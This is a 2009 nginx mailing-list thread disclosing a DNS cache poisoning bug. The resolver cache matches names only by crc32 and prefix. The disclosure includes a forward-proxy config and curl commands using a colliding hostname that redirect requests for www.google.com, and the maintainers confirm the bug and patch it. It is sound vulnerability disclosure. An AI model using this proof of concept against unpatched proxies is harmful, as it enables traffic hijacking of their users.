Nginx internal DNS cache poisoning

nginx maintains an internal DNS cache for resolved domain names.
However, when searching the cache, nginx only checks that the crc32 of
the names match and that the shorter name is a prefix of the longer
name. It does not check that the names are equal in length.

One way to exploit this is if nginx is configured as a forward proxy.
This is an atypical use case, but it has been discussed on the nginx
mailing list before[1].

For example, using this nginx.conf:

events {
  worker_connections  1024;
}

http {
  resolver 4.2.2.4;
  server {
    listen 8080;
    location / {
      proxy_pass http://$http_host$request_uri;
    }
  }
}

You can then run curl to see the cache poisoning in effect:

$ curl -H 'Host: www.google.com.9nyz309.crc32.dempsky.org'

http://127.0.0.1:8080/


Ho hum, nothing to see here, move along please.

$ curl -H 'Host: www.google.com' http://127.0.0.1:8080/
<html>
<body>
Oops, you shouldn't be asking me for http://www.google.com/!
</body>
</html>

(Restart nginx and run only the second command to see its expected
behavior; i.e., actually fetching http://www.google.com/.)

This works because crc32(“www.google.com.”) ==
crc32(“www.google.com.9nyz309.crc32.dempsky.org.”). The first request
cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
and then the second request used this IP address instead of querying
for www.google.com’s real IP address because of the matching CRCs and
the common prefix.

[1] 'Re: Modifying nginx for use as transparent, forward proxy' - MARC

Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

nginx maintains an internal DNS cache for resolved domain names.
However, when searching the cache, nginx only checks that the crc32 of
the names match and that the shorter name is a prefix of the longer
name. It does not check that the names are equal in length.

Looks like a bug, thanks.

http {
  resolver 4.2.2.4;
  server {
    listen 8080;
    location / {
      proxy_pass http://$http_host$request_uri;
    }
  }
}

Note that this configuration isn’t supported (and message you
refer to explicitly marks it as such). I believe using nginx as
forward proxy (or even reverse proxy to untrusted backends) may
have other security implications as well. Don’t do this, it
hurts.

Maxim D.

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

nginx maintains an internal DNS cache for resolved domain names.
However, when searching the cache, nginx only checks that the crc32 of
the names match and that the shorter name is a prefix of the longer
name. It does not check that the names are equal in length.

Thank you, atached patch fixes the bug.

One way to exploit this is if nginx is configured as a forward proxy.
This is an atypical use case, but it has been discussed on the nginx
mailing list before[1].

[1] 'Re: Modifying nginx for use as transparent, forward proxy' - MARC

Using nginx as forward proxy is not safe thing, at least now,
because one may return X-Accel-Redirect, etc.

2009/9/18 Igor S. [email protected]:

Thank you, atached patch fixes the bug.

Great, thanks for the quick fix. :slight_smile:

Using nginx as forward proxy is not safe thing, at least now,
because one may return X-Accel-Redirect, etc.

Thanks for pointing this out. Are there any other risks you can think
of when running nginx as a forward proxy?